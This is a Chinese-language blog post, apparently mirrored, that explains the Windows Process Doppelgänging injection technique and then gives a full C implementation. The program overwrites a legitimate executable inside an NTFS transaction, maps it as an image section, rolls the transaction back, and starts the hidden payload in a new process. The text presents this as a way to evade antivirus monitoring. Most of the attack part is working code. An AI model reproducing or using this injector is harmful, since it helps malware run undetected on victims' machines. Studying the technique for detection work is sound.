zoukankan      html  css  js  c++  java
  • Process Doppelgänging

    进程注入:Process Doppelgänging

      攻击者可以通过Process Doppelgänging将恶意代码注入到进程中,从而逃避基于进程的防护,并且进行可能的特权提升。Process Doppelgänging是一种在单独的活动进程的地址空间中执行任意代码的方法。

      Vista中引入了Windows事务NTFS(TxF)作为执行安全文件操作的方法。为确保数据完整性,TxF仅允许一个事务处理句柄在给定时间写入同一个文件。在写句柄事务终止之前,所有其他句柄均被隔离,只能读取打开该句柄时已存在的文件的提交版本。为避免损坏,如果系统或应用程序在写事务期间发生失败,TxF将执行自动回滚。

      尽管已被弃用,但直至Windows 10,仍可使用TxF应用程序编程接口(API)。

      攻击者可能滥用TxF来执行Process Injection的无文件变体。与“Process Hollowing”类似,Process Doppelgänging通过替换合法进程的内存,使恶意代码得以隐蔽执行,从而逃避检测。Process Doppelgänging对TxF的利用也避免了使用被杀软重度监控的API功能,例如NtUnmapViewOfSectionVirtualProtectEx,和SetThreadContext

      Process Doppelgänging分为4个步骤:

    • Transact – 使用合法的可执行文件创建TxF事务,然后使用恶意代码覆盖该文件。这些更改与外部隔离,并且仅在当前事务上下文中可见;
    • Load – 从内存中创建一个共享Section用于加载覆盖后的恶意可执行文件;
    • Rollback – 撤消对原始合法可执行文件的更改,从而有效地从文件系统中清除恶意代码;
    • Animate – 从内存中恶意代码所在的Section处创建一个进程并启动执行。

      由于被注入进程是从实现注入的进程中创建的(继承了安全上下文),因此该行为应该是不会导致特权提升的。但是,由于执行过程隐藏于合法进程下,因此通过process doppelgänging执行可以避开安全产品的检测。

      在测试的时候,发现在64位系统下,32位的process doppelgänging将会失败,只能使用64位的注入;32位系统下的process doppelgänging则正常。

    #include "winntos.h"
    #include "stdio.h"
    #include "ktmw32.h"
    
    #define MAX(a, b) (a > b? a:b)
    #define MIN(a, b) (a > b? b:a)
    
    #pragma comment(lib, "ktmw32.lib")
    INT wmain(INT argc, WCHAR* argv[]) {
    
    	if (argc < 3) {
    		printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>
    
    ");
    		return 1;
    	}
    
    	NtCreateSection ntCreateSection = NULL;
    	NtCreateProcessEx ntCreateProcessEx = NULL;
    	RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
    	NtQueryInformationProcess ntQueryInformationProcess = NULL;
    	RtlInitUnicodeString rtlInitUnicodeString = NULL;
    	NtCreateThreadEx ntCreateThreadEx = NULL;
    
    	HMODULE ntdll = LoadLibrary(L"ntdll.dll");
    	if (ntdll) {
    		ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
    		if (ntCreateSection)
    			printf(" Succeed get funtion NtCreateSection Address : %#llx :)
    ", (DWORD)ntCreateSection);
    		else {
    			printf(" Fail get funtion NtCreateSection Address :(
    ");
    			return 1;
    		}
    		ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
    		if (ntCreateProcessEx)
    			printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)
    ", (DWORD)ntCreateProcessEx);
    		else {
    			printf(" Fail get funtion NtCreateProcessEx Address :(
    ");
    			return 1;
    		}
    		rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
    		if (rtlCreateProcessParametersEx)
    			printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)
    ", 
    					(DWORD)rtlCreateProcessParametersEx);
    		else {
    			printf(" Fail get funtion RtlCreateProcessParametersEx Address :(
    ");
    			return 1;
    		}
    		ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
    		if (ntQueryInformationProcess)
    			printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)
    ",
    			(DWORD)ntQueryInformationProcess);
    		else {
    			printf(" Fail get funtion NtQueryInformationProcess Address :(
    ");
    			return 1;
    		}
    		rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
    		if (rtlInitUnicodeString)
    			printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)
    ",
    			(DWORD)rtlInitUnicodeString);
    		else {
    			printf(" Fail get funtion RtlInitUnicodeString Address :(
    ");
    			return 1;
    		}
    		ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
    		if (ntCreateThreadEx)
    			printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)
    ",
    			(DWORD)ntCreateThreadEx);
    		else {
    			printf(" Fail get funtion NtCreateThreadEx Address :(
    ");
    			return 1;
    		}
    	}
    	else {
    		printf(" Load ntdll.dll Failed :(
    ");
    		return 1;
    	}
    
    	WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
    	WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
    	HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
    	CHAR *szInjBuff = NULL;
    
    	wcscpy(szSrcFile, argv[1]);
    	wcscpy(szInjectFile, argv[2]);
    
    	do {
    		hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    		if (INVALID_HANDLE_VALUE == hInjFile) {
    			if (GetLastError() == ERROR_FILE_NOT_FOUND)
    				printf(" The File To Be INJECTED NOT FOUND :(
    ");
    			else
    				printf(" OPEN injected file ERROR :(
    ");
    			break;
    		}
    
    		DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
    		szInjBuff = (CHAR*)malloc(dwInjFileSize);
    		if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
    			printf(" read injected file error :(
    ");
    			break;
    		}
    		hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
    		if (INVALID_HANDLE_VALUE == hTx) {
    			printf(" create transaction failed :(
    ");
    			break;
    		}
    
    		hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
    		if (INVALID_HANDLE_VALUE == hTransFile) {
    			printf(" append black file transacted failed :(
    ");
    			break;
    		}
    		DWORD dwWrittenBytes = 0;
    		if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
    			printf(" write target file failed :(
    ");
    			break;
    		}
    		printf(" Write To Target File success :)
    ");
    
    		hSection = NULL;
    
    		if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
    			printf(" CreateSeciotn Failed :(  %#x
    ", GetLastError());
    			break;
    		}
    		// succeed map file as image
    		printf(" CreateSeciotn Success :)
    ");
    
    		if (!RollbackTransaction(hTx)) {
    			printf(" RollBackFile Failed :(  %#x
    ", GetLastError());
    			break;
    		}
    		printf(" RollBackFile Success :)
    ");
    		hProcess = NULL;
    		hCurProcess = GetCurrentProcess();
    
    		if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
    			printf(" create process failed :( %#x
    ", GetLastError());  // 失败
    			break;
    		}
    		printf(" create process SUCCESS :)
    ");
    
    		PROCESS_BASIC_INFORMATION pbi;
    		DWORD ReturnLength = 0;
    		
    		/* 获取注入进程的PEB数据块信息 */
    		if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
    			printf(" query process pbi failed :( %#x
    ", GetLastError());
    			break;
    		}
    
    		SIZE_T size = 0, imgBase = NULL;
    		CHAR tmp[0x100] = { 0 };
    		ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size);
    
    		imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress;	// PEB获取注入进程基址
    		printf(" image base: %#llx
    ", imgBase);
    
    		PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
    		UNICODE_STRING dstUniStr;
    
    		rtlInitUnicodeString(&dstUniStr, szSrcFile);
    		if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
    			NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
    			printf(" Create ProcessParameters failed :( %#x
    ", GetLastError());
    			break;
    		}
    		printf(" Create ProcessParameters SUCCESS :)
    ");
    
    		HANDLE ThreadID = NULL;
    		LPVOID paramBaseAddr = NULL;
    		ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
    		ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
    		size = end - start;
    
    		if (!VirtualAllocEx(hProcess, (LPVOID)start, size, 
    							MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
    			printf(" VirtualAllocEx processParams failed :( %#x
    ", GetLastError());
    			break;
    		}
    		if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
    			printf(" Write USER PROCESS PARAMETERS failed :( %#x
    ", GetLastError());
    			break;
    		}
    		
    		if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
    			printf(" Write USER PROCESS PARAMETERS Address failed :( %#x
    ", GetLastError());
    			break;
    		}
    		
    		PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
    		LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
    		printf(" entry point: %#llx
    ", entry);
    
    		if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
    			(LPTHREAD_START_ROUTINE)entry,
    			NULL, FALSE, 0, 0, 0, NULL)) {
    				printf(" Create Thread failed :( %#x
    ", GetLastError());
    				break;
    		}
    		printf(" Create Thread Success :)
    ");
    		/*if (!CreateRemoteThread(hProcess, NULL, NULL,
    			(LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
    			NULL, NULL, &ThreadID)) {
    			printf(" Create Thread failed :( %#x
    ", GetLastError());
    			break;
    		}
    		printf(" remote thread id: %#x
    ", ThreadID);*/
    
    	} while (0);
    	
    	VirtualFree(szInjectFile, 0, MEM_RELEASE);
    	VirtualFree(szSrcFile, 0, MEM_RELEASE);
    	VirtualFree(szInjBuff, 0, MEM_RELEASE);
    
    	if (hTransFile)
    		CloseHandle(hTransFile);
    	if (hTx)
    		CloseHandle(hTx);
    	if (hInjFile)
    		CloseHandle(hInjFile);
    	if (hCurProcess)
    		CloseHandle(hCurProcess);
    	if (hSection)
    		CloseHandle(hSection);
    	if (hProcess)
    		CloseHandle(hProcess);
    	return 0;
    }
    

    参考:

    https://attack.mitre.org/techniques/T1055/013/

    https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

  • 相关阅读:
    The Quad
    将OrCAD Capture CIS的设计文件(.dsn)导入到PADS Logic VX.2.3
    OrCAD Capture CIS 16.6 将版本16.6的设计文件另存为版本16.2的设计文件
    Eclipse IDE 添加jar包到Java工程中
    PADS Logic VX.2.3 修改软件界面语言
    切换Allegro PCB Editor
    Allegro PCB Design GXL (legacy) 将brd文件另存为低版本文件
    Allegro PCB Design GXL (legacy) 设置自动保存brd文件
    Could not create an acl object: Role '16'
    windows 下apache开启FastCGI
  • 原文地址:https://www.cnblogs.com/zUotTe0/p/13766038.html
Copyright © 2011-2022 走看看